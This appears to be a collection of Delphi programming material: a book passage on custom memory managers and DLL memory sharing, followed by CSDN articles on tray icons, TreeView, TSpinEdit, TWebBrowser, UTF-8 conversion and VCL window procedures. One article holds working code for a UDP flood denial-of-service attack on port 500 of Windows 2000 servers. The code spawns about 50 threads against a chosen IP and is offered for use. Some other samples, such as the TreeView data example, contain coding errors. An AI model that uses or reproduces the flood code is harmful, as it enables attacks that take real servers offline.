    destructor Destroy; override;
    class function NewInstance: TObject; override;
    procedure FreeInstance; override;
    property Next: TNode read fNext;
    property Previous: TNode read fPrevious;
end;

// Singly linked list of nodes that are free for reuse.
// Only the Next fields are used to maintain this list.
var
  NodeList: TNode;

// Allocate a new node by getting the head of the NodeList.
// Remember to call InitInstance to initialize the node that was
// taken from NodeList.
// If the NodeList is empty, allocate a node normally.
class function TNode.NewInstance: TObject;
begin
  if NodeList = nil then
    Result := inherited NewInstance
  else
  begin
    Result := NodeList;
    NodeList := NodeList.Next;
    InitInstance(Result);
  end;
end;

// Because the NodeList uses only the Next field, set the Previous
// field to a special value. If a program erroneously refers to the
// Previous field of a free node, you can see the special value
// and know the cause of the error.
const
  BadPointerValueToFlagErrors = Pointer($F0EE0BAD);

// Free a node by adding it to the head of the NodeList. This is MUCH
// faster than using the general-purpose memory manager.
procedure TNode.FreeInstance;
begin
  fPrevious := BadPointerValueToFlagErrors;
  fNext := NodeList;
  NodeList := Self;
end;

// If you want to clean up the list properly when the application
// finishes, call RealFree for each node in the list. The inherited
// FreeInstance method frees and cleans up the node for real.
procedure TNode.RealFree;
begin
  inherited FreeInstance;
end;

You can also replace the entire memory management system that Delphi uses. Install a new memory manager by calling SetMemoryManager. For example, you might want to replace Delphi's suballocator with an allocator that performs additional error checking. Example 2-18 shows a custom memory manager that keeps a list of pointers the program has allocated and explicitly checks each attempt to free a pointer against the list. Any attempt to free an invalid pointer is refused, and Delphi will report a runtime error (which SysUtils changes to an exception). As a bonus, the memory manager checks that the list is empty when the application ends. If the list is not empty, you have a memory leak.

Example 2-18: Installing a Custom Memory Manager

unit CheckMemMgr;

interface

uses Windows;

function CheckGet(Size: Integer): Pointer;
function CheckFree(Mem: Pointer): Integer;
function CheckRealloc(Mem: Pointer; Size: Integer): Pointer;

var
  HeapFlags: DWord; // In a single-threaded application, you might
                    // want to set this to Heap_No_Serialize.
implementation

const
  MaxSize = MaxInt div 4;
type
  TPointerArray = array[1..MaxSize] of Pointer;
  PPointerArray = ^TPointerArray;
var
  Heap: THandle;             // Windows heap for the pointer list
  List: PPointerArray;       // List of allocated pointers
  ListSize: Integer;         // Number of pointers in the list
  ListAlloc: Integer;        // Capacity of the pointer list

// If the list of allocated pointers is not empty when the program
// finishes, that means you have a memory leak. Handling the memory
// leak is left as an exercise for the reader.
procedure MemoryLeak;
begin
  // Report the leak to the user, but remember that the program is
  // shutting down, so you should probably stick to the Windows API
  // and not use the VCL.
end;

// Add a pointer to the list.
procedure AddMem(Mem: Pointer);
begin
  if List = nil then
  begin
    // New list of pointers.
    ListAlloc := 8;
    List := HeapAlloc(Heap, HeapFlags, ListAlloc * SizeOf(Pointer));
  end
  else if ListSize >= ListAlloc then
  begin
    // Make the list bigger. Try to do it somewhat intelligently.
    if ListAlloc < 256 then
      ListAlloc := ListAlloc * 2
    else
      ListAlloc := ListAlloc + 256;
    List := HeapRealloc(Heap, HeapFlags, List,
                        ListAlloc * SizeOf(Pointer));
  end;
  // Add a pointer to the list.
  Inc(ListSize);
  List[ListSize] := Mem;
end;

// Look for a pointer in the list, and remove it. Return True for
// success, and False if the pointer is not in the list.
function RemoveMem(Mem: Pointer): Boolean;
var
  I: Integer;
begin
  for I := 1 to ListSize do
    if List[I] = Mem then
    begin
      MoveMemory(@List[I], @List[I+1], (ListSize-I) * SizeOf(Pointer));
      Dec(ListSize);
      Result := True;
      Exit;
    end;

  Result := False;
end;

// Replacement memory allocator.
function CheckGet(Size: Integer): Pointer;
begin
  Result := SysGetMem(Size);
  AddMem(Result);
end;

// If the pointer isn't in the list, don't call the real
// Free function. Return 0 for success, and non-zero for an error.
function CheckFree(Mem: Pointer): Integer;
begin
  if not RemoveMem(Mem) then
    Result := 1
  else
    Result := SysFreeMem(Mem);
end;

// Remove the old pointer and add the new one, which might be the
// same as the old one, or it might be different. Return nil for
// an error, and Delphi will raise an exception.
function CheckRealloc(Mem: Pointer; Size: Integer): Pointer;
begin
  if not RemoveMem(Mem) then
    Result := nil
  else
  begin
    Result :=SysReallocMem(Mem, Size);
    AddMem(Result);
  end;
end;

procedure SetNewManager;
var
  Mgr: TMemoryManager;
begin
  Mgr.GetMem := CheckGet;
  Mgr.FreeMem := CheckFree;
  Mgr.ReallocMem := CheckRealloc;
  SetMemoryManager(Mgr);
end;

initialization
  Heap := HeapCreate(0, HeapFlags, 0);
  SetNewManager;
finalization
  if ListSize <> 0 then
    MemoryLeak;
  HeapDestroy(Heap);
end.

If you define a custom memory manager, you must ensure that your memory manager is used for all memory allocation. The easiest way to do this is to set the memory manager in a unit's initialization section, as shown in Example 2-18. The memory management unit must be the first unit listed in the project's uses declaration.

Ordinarily, if a unit makes global changes in its initialization section, it should clean up those changes in its finalization section. A unit in a package might be loaded and unloaded many times in a single application, so cleaning up is important. A memory manager is different, though. Memory allocated by one manager cannot be freed by another manager, so you must ensure that only one manager is active in an application, and that the manager is active for the entire duration of the application. This means you must not put your memory manager in a package, although you can use a DLL, as explained in the next section.

Memory and DLLs

If you use DLLs and try to pass objects between DLLs or between the application and a DLL, you run into a number of problems. First of all, each DLL and EXE keeps its own copy of its class tables. The is and as operators do not work correctly for objects passed between DLLs and EXEs. Use packages (described in Chapter 1) to solve this problem. Another problem is that any memory allocated in a DLL is owned by that DLL. When Windows unloads the DLL, all memory allocated by the DLL is freed, even if the EXE or another DLL holds a pointer to that memory. This can be a major problem when using strings, dynamic arrays, and Variants because you never know when Delphi will allocate memory automatically.

The solution is to use the ShareMem unit as the first unit of your project and every DLL. The ShareMem unit installs a custom memory manager that redirects all memory allocation requests to a special DLL, BorlndMM.dll. The application doesn't unload BorlndMM until the application exits. The DLL magic takes place transparently, so you don't need to worry about the details. Just make sure you use the ShareMem unit, and make sure it is the first unit used by your program and libraries. When you release your application to your clients or customers, you will need to include BorlndMM.dll.

If you define your own memory manager, and you need to use DLLs, you must duplicate the magic performed by the ShareMem unit. You can replace ShareMem with your own unit that forwards memory requests to your DLL, which uses your custom memory manager. Example 2-19 shows one way to define your own replacement for the ShareMem unit.

Example 2-19: Defining a Shared Memory Manager

unit CheckShareMem;

// Use this unit first so all memory allocations use the shared
// memory manager. The application and all DLLs must use this unit.
// You cannot use packages because those DLLs use the default Borland
// shared memory manager.

interface

function CheckGet(Size: Integer): Pointer;
function CheckFree(Mem: Pointer): Integer;
function CheckRealloc(Mem: Pointer; Size: Integer): Pointer;

implementation

const
  DLL = 'CheckMM.dll';

function CheckGet(Size: Integer): Pointer; external DLL;
function CheckFree(Mem: Pointer): Integer; external DLL;
function CheckRealloc(Mem: Pointer; Size: Integer): Pointer;
    external DLL;

procedure SetNewManager;
var
  Mgr: TMemoryManager;
begin
  Mgr.GetMem := CheckGet;
  Mgr.FreeMem := CheckFree;
  Mgr.ReallocMem := CheckRealloc;
  SetMemoryManager(Mgr);
end;

initialization
  SetNewManager;
end.

The CheckMM DLL uses your custom memory manager and exports its functions so they can be used by the CheckShareMem unit. Example 2-20 shows the source code for the CheckMM library.

Example 2-20: Defining the Shared Memory Manager DLL

library CheckMM;

// Replacement for BorlndMM.dll to use a custom memory manager.

uses
  CheckMemMgr;

exports
  CheckGet, CheckFree, CheckRealloc;

begin
end.

Your program and library projects use the CheckShareMem unit first, and all memory requests go to CheckMM.dll, which uses the error-checking memory manager. You don't often need to replace Delphi's memory manager, but as you can see, it isn't difficult to do.

TIP:
The memory manager that comes with Delphi works well for most applications, but it does not perform well in some cases. The average application allocates and frees memory in chunks of varying sizes. If your application is different and allocates memory in ever-increasing sizes (say, because you have a dynamic array that grows in small steps to a very large size), performance will suffer. Delphi's memory manager will allocate more memory than your application needs. One solution is to redesign your program so it uses memory in a different pattern (say, by preallocating a large dynamic array). Another solution is to write a memory manager that better meets the specialized needs of your application. For example, the new memory manager might use the Windows API (HeapAllocate, etc.).

Old-Style Object Types

In addition to class types, Delphi supports an obsolete type that uses the object keyword. Old-style objects exist for backward compatibility with Turbo Pascal, but they might be dropped entirely from future versions of Delphi.

Old-style object types are more like records than new-style objects. Fields in an old-style object are laid out in the same manner as in records. If the object type does not have any virtual methods, there is no hidden field for the VMT pointer, for example. Unlike records, object types can use inheritance. Derived fields appear after inherited fields. If a class declares a virtual method, its first field is the VMT pointer, which appears after all the inherited fields. (Unlike a new-style object, where the VMT pointer is always first because TObject declares virtual methods.)

An old-style object type can have private, protected, and public sections, but not published or automated sections. Because it cannot have a published section, an old object type cannot have any runtime type information. An old object type cannot implement interfaces.

Constructors and destructors work differently in old-style object types than in new-style class types. To create an instance of an old object type, call the New procedure. The newly allocated object is initialized to all zero. If you declare a constructor, you can call it as part of the call to New. Pass the constructor name and arguments as the second argument to New. Similarly, you can call a destructor when you call Dispose to free the object instance. The destructor name and arguments are the second argument to Dispose.

You don't have to allocate an old-style object instance dynamically. You can treat the object type as a record type and declare object-type variables as unit-level or local variables. Delphi automatically initializes string, dynamic array, and Variant fields, but does not initialize other fields in the object instance.

Unlike new-style class types, exceptions in old-style constructors do not automatically cause Delphi to free a dynamically created object or call the destructor.


CSDN_文档中心_TListView在XP中的补丁程序

如何在程序中实现XP模式
发表日期： | 21/04/2002 10:18:39
发表人： | Thomas Stutz
发表人信箱： | tom@swissdelphicenter.ch
发表人网址： | http://www.swissdelphicenter.ch
要在自己的程序中实现Windows XP的视觉效果，就要给程序增加一个说明文件。这个说明文件可以是程序的资源文件，也可以是同路径下的文件。
本文链接:
http://www.swissdelphicenter.ch/en/demodownload.php?id=1118


CSDN_文档中心_TNotifyIcon 控件1.01

TNotifyIcon 控件1.01 (Build use Delphi 3.0) 说明:
作用:
往通知区加图标,并可显示,隐藏,修改这个图标.

属性(properties):
NotifyIcon:TIcon 欲加在通知区的图标
IsVisible:boolean NotifyIcon是否显示的属性
Title:string 通知区图标上的提示(最多64个字符)
PopupMenu:TPopupMenu 点击通知区图标弹出的菜单
PopupStyle:TPopupStyle 弹出菜单的方式
TPopupStyle=Set of
(Left_Click,Right_Click,Left_DbClick,Right_DbClick);
方法(methods):
ShowIcon 将图标显示在通知区上
HideIcon 将通知区上的图标隐藏
ModifyIcon 修改通知区上的图标(若IsVisible=false,则不显示出来)
Create(AOwner: TComponent); override; 构造方法
Destroy; override; 析构方法
事件(Events):
OnIconMouseDown:
procedure(Sender:TObject;x,y:Word;WhoButton:TWhoButton) of
Object;
(
在Mouse点击通知区上的图标时发生,x,y为Mouse在屏幕上的坐标,
WhoButton=b_Left为点击左键,WhoButton=b_Right为点击右键,
)
OnIconDoubleClick:
procedure(Sender:TObject;x,y:Word;WhoButton:TWhoButton) of
Object;
(
在Mouse双击通知区上的图标时发生,x,y为Mouse在屏幕上的坐标,
WhoButton=b_Left为双击左键,WhoButton=b_Right为双击右键,
)
关于Demo:
这个演示程序给出了TNotifyIcon的基本用法.

包含文件:
NotifyIcon.dcr
NotifyIcon.pas
DemoUnit.pas
DemoUnit.dfm
PopUnit.pas
PopUnit.dfm
Demo.dpr
Readme.txt

声明:
TNotifyIcon 控件 V 1.01
1.这是一个免费控件.
2.如果你使用它,请发一个E-Mail给作者,谢谢.
3我在Delphi3.0 & 4.0 上使用成功
4.若要传播它,请完全分发上述8个文件

作者 南昌大学计算系95(1) 付昱纲 1998.8.17 21:50
E-mail fyg@163.net

unit NotifyIcon;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs,
DsgnIntf,ShellApi,ExtCtrls,Menus;

const
WM_MY_Notify=WM_USER+100;
type

TPopupStyle=Set of
(Left_Click,Right_Click,Left_DbClick,Right_DbClick);
TWhoButton=(b_Left,b_Right);
TMouseEvent=
procedure(Sender:TObject;x,y:Word;WhoButton:TWhoButton)
of Object;

//---------class TNotifyIcon---------
TNotifyIcon = class(TCustomControl)
private
{ Private declarations }
FIcon:TIcon;
FPda:PNOTIFYICONDATA;
FTitle:string;
FIconVisible:boolean;
FPopupMenu:TPopupMenu;
FPopupStyle:TPopupStyle;
FOnIconMouseDown:TMouseEvent;
FOnIconDoubleClick:TMouseEvent;
procedure SetIcon(Icon:TICON);
procedure SetTitle(NewTitle:string);
function IsShowing:boolean;
procedure ShowIt(Accept:boolean);
procedure NotifyIconClick(var msg : TMessage);
Message WM_My_Notify;
protected
{ Protected declarations }
public
{ Public declarations }
property IsVisible:boolean read IsShowing write ShowIt;
constructor Create(AOwner: TComponent); override;
procedure ShowIcon;
procedure HideIcon;
destructor Destroy; override;
procedure ModifyIcon(NewIcon:TIcon);
procedure Paint;override;
published
{ Published declarations }
property Height default 33;
property Width default 33;
property NotifyIcon:TIcon read FIcon write SetIcon;
property Title:string read FTitle write SetTitle ;
property OnIconDoubleClick:TMouseEvent
read FOnIconDoubleClick write FOnIconDoubleClick;
property OnIconMouseDown:TMouseEvent
read FOnIconMouseDown write FOnIconMouseDown;
property PopupMenu:TPopupMenu read FPopupMenu write FPopupMenu;
property PopupStyle:TPopupStyle read FPopupStyle
write FPopupStyle default [];
end;

procedure Register;

implementation

procedure Register;
begin
RegisterComponents('MyControl', [TNotifyIcon]);
end;

procedure TNotifyIcon.ShowIt(Accept:boolean);
begin
if Accept=true then ShowIcon
else HideIcon;
end;

procedure TNotifyIcon.Paint;
begin
if (csDesigning in ComponentState) then
begin
Width:=33;
Height:=33;
With Canvas do
begin
Brush.Color:=clInfoBk;
Ellipse(0,0,Self.Width,Self.Height);
Font.Color:=clBlue;
Brush.Style:=bsClear;
FloodFill(5,5,clInfoBk,fsBorder);
Brush.Color:=clInfoBk;
TextOut(3,Self.Height div 2-6,'Notify');
end
end;
end;

procedure TNotifyIcon.NotifyIconClick(var msg : TMessage);
var p:TPoint;
begin
try
case msg.LParam of
WM_LBUTTONDOWN:
begin
GetCursorPos(p);
if Left_Click in FPopupStyle then
begin
SetForegroundWindow(ParentWindow);
FPopupMenu.Popup(p.x,p.y);
end;
if Assigned(FOnIconMouseDown) then
begin
FOnIconMouseDown(Self,p.x,p.y,b_Left);
end;
end;
WM_RBUTTONDOWN:
begin
GetCursorPos(p);
if Right_Click in FPopupStyle then
begin
SetForegroundWindow(ParentWindow);
FPopupMenu.Popup(p.x,p.y);
end;
if Assigned(FOnIconMouseDown) then
begin
FOnIconMouseDown(Self,p.x,p.y,b_Right);
end;
end;
WM_LBUTTONDBLCLK:
begin
GetCursorPos(p);
if Left_DbClick in FPopupStyle then
begin
SetForegroundWindow(ParentWindow);
FPopupMenu.Popup(p.x,p.y);
end;
if Assigned(FOnIconDoubleClick) then
begin
FOnIconDoubleClick(Self,p.x,p.y,b_Left);
end;
end;
WM_RBUTTONDBLCLk:
begin
GetCursorPos(p);
if Right_Click in FPopupStyle then
begin
SetForegroundWindow(ParentWindow);
FPopupMenu.Popup(p.x,p.y);
end;
if Assigned(FOnIconDoubleClick) then
begin
FOnIconDoubleClick(Self,p.x,p.y,b_Right);
end;
end;
end;
except
end;
end;

function MAKELANGID(p, s:word):Cardinal;
begin
result:= (((s)shl 10) or(p));
end;

constructor TNotifyIcon.Create(AOwner: TComponent);
begin
try
inherited Create(AOwner);
FIcon:=TIcon.Create;
Height:=36;
Width:=36;
Visible:=false;
FTitle:='Welcome';
FIconVisible:=false;
//-------------set tray info---------
ParentWindow:=TWinControl(AOwner).Handle;
New(Fpda);
With FPda^ do
begin
uCallbackMessage:=WM_MY_Notify;
cbsize:=SizeOf(FPda^);
uID:=200;
wnd:=Handle;
uFlags:=NIF_ICON+NIF_Tip+NIF_MESSAGE;
end;

if (csDesigning in ComponentState) then
begin
if GetUserDefaultLCID =
MAKELANGID(LANG_CHINESE,SUBLANG_CHINESE_SIMPLIFIED) then
Application.MessageBox(
'Write by 南昌大学 付昱纲'#13#13'E-mail:fyg@163.net'#13#13'
1998.8.17',
'TNotifyIcon 控件 V 1.01',MB_OK+ MB_ICONINFORMATION)
else
Application.MessageBox(
'Write by NanChang University
FuYuGang'#13#13'E-mail:fyg@163.net'#13#13' 1998.8.17',
'TNotifyIcon Component V 1.01',MB_OK+ MB_ICONINFORMATION);
end;
except
ShowMessage('TNotifyIcon Create error');
end;
end;

procedure TNotifyIcon.SetIcon(Icon:TICON);
begin
FIcon.Assign(Icon);
end;

procedure TNotifyIcon.ShowIcon;
begin
try
if FIcon.Handle=0 then
begin
Exit;
end;
if FIcon.Handle<>FPda^.hIcon then
HideIcon;
if FIconVisible=false then
begin
FPda^.hIcon:=FIcon.handle;
FIconVisible:=true;
Shell_NotifyIcon(NiM_ADD,FPda);
end;
except
ShowMessage('TNotifyIcon Show Error ');
end;
end;

procedure TNotifyIcon.HideIcon;
begin
try
if FIconVisible then
begin
FIconVisible:=false;
Shell_NotifyIcon(NiM_DELETE,FPda);
end;
except
ShowMessage('TNotifyIcon Hide Error');
end;
end;

procedure TNotifyIcon.SetTitle(NewTitle:string);
begin
FTitle:=NewTitle;
StrCopy(FPda^.szTip,PChar(FTitle));
if FIconVisible then
begin
HideIcon;
ShowIcon;
end;
end;

destructor TNotifyIcon.Destroy;
begin
try
HideIcon;
Dispose(FPda);
FIcon.Free;
inherited Destroy;
except
ShowMessage('TNotifyIcon Destroy Error');
end;
end;

procedure TNotifyIcon.ModifyIcon(NewIcon:TIcon);
begin
try
SetIcon(NewIcon);
FPda^.hIcon:=FIcon.handle;
if FIconVisible then
Shell_NotifyIcon(NiM_Modify,FPda);
except
ShowMessage('TNotifyIcon Modify Error');
end;
end;

function TNotifyIcon.IsShowing:boolean;
begin
Result:=FIconVisible;
end;

end.


CSDN_文档中心_TreeView的使用

TreeView 是一个显示树型结构的控件,每一个节点都是一个新类,
使用具有代表性
每个节点都有四个值:
TEXT:显示文字 Image Index:显示图形序号
Selected Index:
State Index:

(1)建立目录项(本例中使用的TREEVIEW名称为:TvwTips)

增加根目录下的节点:(节点)
var
CatNode : TTreeNode; //先建立一个TREEVIEW使用的子对象
begin
TvwTips.SetFocus; //将焦点置到这个TREEVIEW控件上
{ 在根标题下建立一个新的子标题 }
CatNode := TvwTips.Items.AddChild(
TvwTips.Items.GetFirstNode,'New Category' );
CatNode.ImageIndex := 1;
CatNode.SelectedIndex := 2;
CatNode.EditText; { 允许用户改变这个标题 }
end;

增加下一级目录(内容):
var
ParentNode, TipNode : TTreeNode; //先建立TREEVIEW使用
的子对象
VersionNum : Integer;
begin
TvwTips.SetFocus; //将焦点置到这个TREEVIEW控件上
VersionNum := TMenuItem( Sender ).Tag; { Ver num of new tip }
ParentNode := TvwTips.Selected; { 取出当前的选中节点 }
if ParentNode.Level = nlTip then{ Parent cannot be a tip node }
ParentNode := TvwTips.Selected.Parent;

TipNode := TvwTips.Items.AddChildObject( ParentNode,'New
Subject',Pointer( VersionNum ) );
TipNode.ImageIndex := 3; { Normal tip bitmap }
TipNode.SelectedIndex := 4; { Highlighted tip bitmap }
TipNode.MakeVisible; { Move new tip node into view }
TipNode.EditText; { Immediately allow user to edit subject }
EnableTreeViewFunctions( TipNode.Level );
RtfTip.Clear;
RtfTip.Modified := False;
end;

(2)说明
TvwTips.Items.GetFirstNode 返回TREEVIEW的第一个节点,函数类型为
:TTreeNode
TvwTips.Items.Count 返回当前TreeView的全部节点数,整数
TvwTips.Selected.Level 返回当前选中节点的在目录树中的级别,
根目录为0
TvwTips.Selected.Parent 返回当前选中节点上级节点,函数类型为
:TTreeNode


CSDN_文档中心_TreeView使用笔记

TreeView使用笔记

TreeView由节点构成，建树通过对TreeView.items属性进行操作。Items是一个TTreeNodes对象，这是一个TTreeNode集。

一、针对TTreeNodes,也就是 TreeView.Items,有这些属性：
1、count，节点个数。
2、item[index] ,通过index得到节点。

二、针对TTreeNodes,也就是 TreeView.Items,常用的添加节点的操作有：
AddFirst添加第一个根节点。由此函数添加的节点总排在前面，除非后来又使用此函数添加了一个节点，则后添加的节点将排在前面。该函数返回新添加的节点。
AddChildFirst添加第一个子节点，要求有父节点作为其参数。返回新添加的节点。
AddChild添加一个子节点，要求有父节点作为其参数。返回新添加的节点。
Add添加一个兄弟节点，要求有兄弟节点作为其参数。返回新添加的节点。

三、针对TTreeNodes,也就是 TreeView.Items,常用的得到节点的操作有：
GetFirstNode() 得到根节点。
然后配合TTreeNode.GetNext(),就可以访问所有的节点。

四、建树举例：

var
root_node,cur_node:TTreeNode;
begin
root_node:=AddFirst(nil,'根节点1');
cur_node:=addChildfirst(root_node,nil,'根节点1_child1');
add(cur_node,'根节点1_child2');
root_node:=Add(nil,'根节点2');
AddChildFirst(root_node,''根节点2_child1');
end;

五、事件触发：
当从一个节点跳到另一个节点，会触发TTreeView.OnChange事件。该事件中，将传递node,即当前被选中的节点。

当修改一个节点的text时，会触发TTreeView.onEdit事件。

六、将节点和节点所对应的数据联系起来
对于每个TTreeNode,有个Data属性，可以存放一个指针。我们可以利用这个域来存放与节点对应的自己的数据。
1.我们先定义一个数据结构，作为记录我们要记录的数据。如：
type
PMyData=^TMyData;
TMyData=Record
sFName:string;
sLName:String;
nIndex:integer;
end;

2.然后，创建数时，将节点和节点数据联系起来：
procedure TForm1.Button1Click(Sender: TObject);
var
myshuju: PMyData
cur_node:TTreeNode;
begin
New(MyRecPtr); //记住，一定要先分配内存。有几个节点，就要分配几次内存。
myshuju^.FName:=Edit1.Text;
Myshuju^.LName := Edit2.Text;
TreeViewIndex := StrToInt(Edit3.Text);
with TreeView1 do
begin
cur_node:=items.AddFirst(nil,'first');
cur_node.data:=myshuju;
end;
end;

3.当我们选中一个节点时，就可以使用我们的数据了。
procedure TForm1.TreeView1Change(Sender:TObject;Node:TTreeNode);
begin
if node.data<>nil then
self.label1.caption:=pmyData(node.data)^.Fname+pmyData(node.data)^.Lname
end;

七、一般使用流程：
1、添加全局变量：
b_first:boolean; //记录是否是第一次访问节点，因为此时数据还未准备好，而一旦访问节点就会触发OnChange事件，在此事件处理函数中也许会出错。
2、在FormCreate中，
a、设置b_first:=true;
b. 创建数并将节点与数据联系。
3、在FormShow中
设置b_first:=false;
4.在事件OnChange中处理节点被选中事件。
5.在Edit中处理节点被修改Text事件。
并调用OnChange.
6.在 TreeView.Destory中
释放Data 中指向的内存空间。


CSDN_文档中心_TSpinEdit的漏洞

最近在使用Samples页中的SpinEdit控件时，发现SpinEdit的最大值(MaxValue)和最小值(MinValue)的处理有漏洞。当最大值和最小值相等且不为零时，设置形同虚设；当最大值小于最小值时，SpinEdit的取值为最大值和最小值。查看Spin.pas时发现，SpinEdit的CheckValue函数如下：
function TSpinEdit.CheckValue (NewValue: LongInt): LongInt;
begin
Result := NewValue;
if (FMaxValue <> FMinValue) then
begin
if NewValue < FMinValue then
Result := FMinValue
else if NewValue > FMaxValue then
Result := FMaxValue;
end;
end;
可见没有对MaxValue = MinValue 且MinValue <> 0 及 MaxValue < MinValue 进行处理。所以在使用SpinEdit控件时应该在程序中对上述两种情况进行必要的处理。

我在发现这个问题的之前花费了不少时间调试程序，以为是代码的问题。结果发现是个BUG。这个问题可能早就有人发现并提出来了，只不过我没有看到而已。不过我还是把它贴出来，希望其他朋友不要在这个问题上浪费时间。呵呵，其实私底下还是想赚分的:)。


CSDN_文档中心_TWebBrowser控件与MSHTML库连接

WebBrowser控件
配置与IE的配置相同

方法一 使用Document属性得到 Document 层
WebBrowser.Document:IDispatch //是IDispatch接口

Var Doc: IHTMLDocument2;
begin
...
try //注意:使用 As 时必须加try...except...end保护
Doc:= (WebBrowser1.Document) as IHTMLDocument2;
if Assigned(Doc) then begin //判断是否为空
...//具体操作
end;
except
...
end;
...
end;

方法二 使用QueryInterface接口得到 Window 层
WebBrowser.QueryInterface(IID_IHTMLWindow2, Out Win: IHTMLWindow2);//返回WebBrowser控件的IHTMLWindow2接口

Var Win: IHTMLWindow2;
Begin
...
try
WebBrowser1.QueryInterface(IID_IHTMLWindow2, Win);
if Assigned(Win) then begin //判断是否为空
...//具体操作
end;
except
...
end;
...
end;


CSDN_文档中心_TWebBrowser流程讲解及如何判断下载网页成功

主　　题：用TWebBrowser下载网页时如何判断是否成功？急！
作　　者： CBuilder
所属论坛：Delphi
问题点数：20
回复次数：1
发表时间：2001-1-11 8:30:00
某资料上说，OnNavigateComplete2事件只在下载成功时才会触发，可我反复试验发现不管成功与否它都会触发。怎样判断是否下载成功呢？急！！！

回复贴子：
  回复人：mutant(异类)　(2001-1-11 9:06:00) 得0分
procedure TfrmIE2.WebDocumentComplete(Sender: TObject; pDisp: IDispatch;
var URL: OleVariant);
看见了吧,是OnDocumentComplete事件触发的下载完毕,还会告诉你是那个URL被下载完毕了,非常好用哦.因为页面中如果有IFrame,那么每个IFrame会触发一个DocumentComplete事件.

那我们怎么判断是否全部下载完毕呢?嘿嘿,TWebBrowser控件不是有一个Busy属性的吗?

procedure TfrmIE2.WebDocumentComplete(Sender: TObject; pDisp: IDispatch;
var URL: OleVariant);
begin
if not(Web.Busy) then begin
ShowMessage('下载完毕');
end;
end;
对于每次连接(不论是鼠标点击还是用Navigate2方法连接),TWebBrowser的流程是这样的:

OnBeforeNavigate2 <--开始链接时会触发此事件
OnNavigateComplete2 <--成功的链接到此网页(以后才会有下面的事件)
OnDownloadBegin <--开始下载
OnDownloadComplete <--下载结束
OnDocumentComplete <--页面下载完毕

对于每个HTML页面,顺序都是如此.如果是Frame或IFrame的文件都会当成HTML页面处理.也就是说如果一个页面中有3个IFrame,那么总共会触发4次BeforeNavigate2事件.

对于每个连接且需要显示出来的二进制文件(如*.gif,*.bmp,*.jpg...)都会触发一个DownloadBegin和DownloadComplete事件.


CSDN_文档中心_udp 500 D.O.S攻击

前些日子,看见有文章说win2000服务器的500端口对flood攻击防御不是很好,我测试了一下,发现很有效果,对win2000服务器的udp500发送大量包的时候,win2000服务器的cpu率一下子达到了100%,而且反应立刻迟钝下来.

程序如下:

线程程序://线程的执行代码,创建线程请用菜单new一个TheadObject

uses winsock;

procedure udpdos.Execute;
var
wsa:TWSAData;
s: TSocket;
sockin: TSockAddrIn;
buf:array[0..1023] of byte;
i: integer;
DIP:string;
begin
{ Place thread code here }
//win2000下利用ike(udp 500)的DOS攻击
//by 杨顺
FreeOnTerminate := true;

//destIP是主Form里面上,就是要攻击的对象,在主Form里面申明一个这样的变量就可以了
DIP := DestIP;

//填充buf
for i := 0 to 1023 do
buf[i] := 97;

//初始化socket2
WSAStartup($101,wsa);

//创建udp socket
s := socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
sockin.sin_family := AF_INET;
sockin.sin_port := htons(IKE);
sockin.sin_addr.S_addr := inet_addr(pchar(DIP));
while true do
begin
if self.Terminated then
break;

//发送数据报
sendto(s,buf,1024,0,sockin,sizeof(sockin));
end;
closesocket(s);
WSACleanup;

end;

主form里面,调用

for i := 0 to 50 do
begin
udpdos.Create(false); //创建50多个线程,进行攻击
end;

顺便提一下,坚持用户输入的ip是否合法,一句话就可以了

uses winsock

if inet_addr(pchar(DestIP)) = inaddr_none then
begin
showmessage('输入的IP地址错误');
exit;
end;


CSDN_文档中心_UTF-8字符串转为AnsiString

//江雪 2001.06.11  http://asnowcn.at.china.com
//将UTF-8字符串转为代码页为CodePage的AnsiString。
function UTF8ToAnsiString(utf8str:string; CodePage:integer):AnsiString;
var
 i:integer;
 buffer:widestring;
 ch,c1,c2:byte;

begin
 result:='';
 i:=1;
 while i<=Length(utf8str) do begin
   ch:=byte(utf8str[i]);
   setlength(buffer,length(buffer)+1);
   if (ch and $80)=0 then //1-byte
      buffer[length(buffer)]:=widechar(ch)
   else begin
   if (ch AND $E0) = $C0 then begin // 2-byte
      inc(i);
      c1 := byte(utf8str[i]);
      buffer[length(buffer)]:=widechar((word(ch AND $1F) SHL 6) OR (c1 AND $3F));
    end
    else begin // 3-byte
      inc(i);
      c1 := byte(utf8str[i]);
      inc(i);
      c2 := byte(utf8str[i]);
      buffer[length(buffer)]:=widechar(
        (word(ch AND $0F) SHL 12) OR
        (word(c1 AND $3F) SHL 6) OR
        (c2 AND $3F));
    end;
    end;
   inc(i);
  end; //while
  i := WideCharToMultiByte(codePage,
           WC_COMPOSITECHECK or WC_DISCARDNS or WC_SEPCHARS or WC_DEFAULTCHAR,
           @buffer[1], -1, nil, 0, nil, nil);
  if i>1 then begin
    SetLength(Result, i-1);
    WideCharToMultiByte(codePage,
        WC_COMPOSITECHECK or WC_DISCARDNS or WC_SEPCHARS or WC_DEFAULTCHAR,
        @buffer[1], -1, @Result[1], i-1, nil, nil);
  end;
end;


CSDN_文档中心_VCL HardCore —— VCL窗口函数注册机制研究手记，兼与MFC比较

VCL HardCore ——VCL窗口函数注册机制研究手记，兼与MFC比较

By cheka cheka@yeah.net （转载请保留此信息）

这个名字起的有些耸人听闻，无他意，只为吸引眼球而已，如果您对下列关键词有兴趣，希望不要错过本文：

1. VCL可视组件在内存中的分页式管理;

2. 让系统回调类的成员方法

3. Delphi 中汇编指令的使用

4. Hardcore

5. 第4条是骗你的

我们知道Windows平台上的GUI程序都必须遵循Windows的消息响应机制，可以简单概括如下，所有的窗口控件都向系统注册自身的窗口函数，运行期间消息可被指派至特定窗口控件的窗口函数处理。对消息相应机制做这样的概括有失严密，请各位见谅，我想赶紧转向本文重点，即在利用Object Pascali或是C++这样的面向对象语言编程中，如何把一个类的成员方法向系统注册以供回调。

在注册窗口类即调用RegisterClass函数时，我们向系统传递的是一个WindowProc 类型的函数指针

WindowProc 的定义如下

LRESULT CALLBACK WindowProc(

HWND hwnd, // handle to window

UINT uMsg, // message identifier

WPARAM wParam, // first message parameter

LPARAM lParam // second message parameter

)；

如果我们有一个控件类，它拥有看似具有相同定义的成员方法TMyControl.WindowProc,可是却不能够将它的首地址作为lpfnWndProc参数传给RegisterClass，道理很简单，因为Delphi中所有类成员方法都有一个隐含的参数，也就是Self，因此无法符合标准 WindowProc 的定义。

